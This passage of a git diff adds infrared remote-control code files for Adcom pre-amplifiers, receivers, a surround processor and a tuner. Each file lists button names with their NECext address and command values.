+address: 1A 00 00 00 +command: 9D 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 9E 00 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 9F 00 00 00 +# +name: DYNAMIC_RANGE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: C1 00 00 00 +# +name: EXTERNAL_5.1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: C1 00 00 00 +# +name: BACKS +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: C5 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: C6 00 00 00 +# +name: BALANCE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: C7 00 00 00 +# +name: DIM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: CA 00 00 00 +# +name: ROOM_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: CB 00 00 00 +# +name: P._SCAN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: CC 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D1 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D1 00 00 00 +# +name: MASTER_VOL_V +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D1 00 00 00 +# +name: LEVEL_- +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D1 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D1 00 00 00 +# +name: SUB_^ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D2 00 00 00 +# +name: SEEK_/_TUNE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D3 00 00 00 +# +name: PRESET/TUNE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D3 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D5 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D5 00 00 00 +# +name: MASTER_VOL_^ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D5 00 00 00 +# +name: LEVEL_+ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D5 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D5 00 00 00 +# +name: SUB_V +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D6 00 00 00 +# +name: ROOM_3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D7 00 00 00 +# +name: GROUP_C +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D8 00 00 00 +# +name: EXT._PROC +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: DB 00 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: DC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir b/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir new file mode 100644 index 000000000..7e614677b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: FM_MONO_MODE +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 14 00 00 00 +# +name: FM_STEREO_MODE +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 15 00 00 00 +# +name: BYPASS_ON +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 16 00 00 00 +# +name: BYPASS_OFF +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 17 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 54 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 54 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 55 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 55 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 56 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 57 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 80 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 81 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 82 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 83 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 84 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 85 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 87 00 00 00 +# +name: ROOM_1 +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 88 00 00 00 +# +name: REMOTE_INDIV +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 89 00 00 00 +# +name: REMOTE_ALL +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 8A 00 00 00 +# +name: TUNE_MODE +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 8B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: C0 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: C1 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: C2 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: C3 00 00 00 +# +name: BASE_- +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: C4 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: C5 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: C6 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: C7 00 00 00 +# +name: PRESET_MODE +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: C8 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: C9 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: CA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir b/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir new file mode 100644 index 000000000..95e44ae08 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 00 00 00 00 +# +name: TUNING_< +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 02 00 00 00 +# +name: TUNING_- +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 02 00 00 00 +# +name: TUNING_> +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 03 00 00 00 +# +name: TUNING_+ +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 03 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 07 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 08 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 09 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0B 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0C 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0D 00 00 00 +# +name: VIDEO/TAPE_2 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0E 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 10 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 11 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 12 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 13 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 13 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 17 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 17 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 19 00 00 00 +# +name: TRACK_<< +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1A 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1A 00 00 00 +# +name: TRACK_>> +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1B 00 00 00 +# +name: VOLUME_< +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_> +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir b/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir new file mode 100644 index 000000000..355026ee5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: MAIN_POWER_ON_B +type: parsed +protocol: NECext +address: 58 17 00 00 +command: 2A 00 00 00 +# +name: MAIN_POWER_ON_A +type: parsed +protocol: NECext +address: 58 17 00 00 +command: 54 00 00 00 +# +name: MAIN_POWER_OFF_A +type: parsed +protocol: NECext +address: 58 17 00 00 +command: 55 00 00 00 +# +name: MAIN_POWER_OFF_B +type: parsed +protocol: NECext +address: 58 17 00 00 +command: AA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Receiver/26,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Adcom/Receiver/26,-1.ir new file mode 100644 index 000000000..e6421b346 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Adcom/Receiver/26,-1.ir @@ -0,0 +1,386 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 03 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 03 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0B 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 40 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 40 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 41 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 41 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 42 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 42 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 43 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 43 00 00 00 +# +name: ROOM_2_POWER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 4A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 4A 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 4B 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 4D 00 00 00 +# +name: BASS +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 4F 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 50 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 51 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 55 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 56 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 57 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 80 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 81 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 82 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 83 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 83 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 84 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 84 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 85 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 85 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 86 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 86 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 88 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 88 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 89 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 89 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8A 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8E 00 00 00 +# +name: FM/AM/HD +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 90 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 91 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 92 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 93 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 93 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 95 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 96 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 97 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 98 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 99 00 00 00 +# +name: EXT._7.1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: C1 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: C6 00 00 00 +# +name: CH-TRIM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: C7 00 00 00 +# +name: DIM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: CA 00 00 00 +# +name: ROOM_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: CB 00 00 00 +# +name: RM_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: CB 00 00 00 +# +name: TREBLE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: CF 00 00 00 +# +name: SEEK +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D0 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D1 00 00 00 +# +name: PRE/TUNE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D3 00 00 00 +# +name: SYNC +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D4 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D5 00 00 00 +# +name: ST/MONO +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: DD 00 00 00 +# +name: TH-EQ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: DE 00 00 00 +# +name: DYNAMIC_RANGE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Receiver/26,232.ir b/assets/resources/infrared/_CSV-IRDB_/Adcom/Receiver/26,232.ir new file mode 100644 index 000000000..16459bf5c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Adcom/Receiver/26,232.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: VIDEO_4_(2) +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 10 00 00 00 +# +name: CD_(2) +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 13 00 00 00 +# +name: TUNER_(2) +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 50 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 54 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 55 00 00 00 +# +name: DSP:_PL2_MOVIE +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 5C 00 00 00 +# +name: DSP:_PL2_MUSIC +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 5D 00 00 00 +# +name: VIDEO_2_(2) +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 8D 00 00 00 +# +name: VIDEO_3_(2) +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: 8E 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: CE 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1A E8 00 00 +command: CF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Receiver/81,0.ir b/assets/resources/infrared/_CSV-IRDB_/Adcom/Receiver/81,0.ir new file mode 100644 index 000000000..aa9e44326 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Adcom/Receiver/81,0.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNING_< +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 02 00 00 00 +# +name: TUNING_> +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 03 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 07 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 08 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 09 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0B 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0C 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0D 00 00 00 +# +name: DAT/TAPE2 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0E 00 00 00 +# +name: TAPE1 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 10 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 11 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 12 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 13 00 00 00 +# +name: ALL_ON +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 14 00 00 00 +# +name: ALL_OFF +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 15 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 17 00 00 00 +# +name: ROOM_ON/OFF +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 18 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 19 00 00 00 +# +name: TRACK_<< +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1A 00 00 00 +# +name: TRACK_>> +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1B 00 00 00 +# +name: VOLUME_< +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_> +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir new file mode 100644 index 000000000..eef93cf0a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: REAR/CTR_RESET +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 4F 00 00 00 +# +name: BAL_CHECK(LEVEL_ADJ) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 50 00 00 00 +# +name: SUBWOOFER_-_(LVL_ADJ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 51 00 00 00 +# +name: CENTER_-_(LEVEL_ADJ) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 52 00 00 00 +# +name: REAR_-_(LEVEL_ADJ) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 53 00 00 00 +# +name: BASS_EQ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 54 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 55 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 56 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 57 00 00 00 +# +name: TAPE_MON +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 58 00 00 00 +# +name: SUBWOOFER_+_(LVL_ADJ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 59 00 00 00 +# +name: CENTER_+_(LEVEL_ADJ) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5A 00 00 00 +# +name: REAR_+_(LEVEL_ADJ) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5B 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5E 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Tuner/26,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Adcom/Tuner/26,-1.ir new file mode 100644 index 000000000..8047a7c10 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Adcom/Tuner/26,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 80 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 82 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 84 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 85 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 86 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 87 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 88 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 89 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8A 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8B 00 00 00 +# +name: TUNING_> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8C 00 00 00 +# +name: TUNING_< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8D 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8E 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 90 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 91 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 92 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 93 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 94 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 95 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 96 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 97 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 98 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 9A 00 00 00 +# +name: MASTER_VOL_V +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D1 00 00 00 +# +name: MASTER_VOL_^ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Unknown/26,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Adcom/Unknown/26,-1.ir new file mode 100644 index 000000000..d358fddb4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Adcom/Unknown/26,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: TRACK_>> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 00 00 00 00 +# +name: TRACK_<< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 01 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 04 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 05 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0B 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0C 00 00 00 +# +name: FR_<< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0E 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1A 00 00 00 +# +name: MEMORY_CLEAR +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1F 00 00 00 +# +name: REPEAT_CLEAR +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 46 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 48 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 49 00 00 00 +# +name: POLARITY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Unknown/81,0.ir 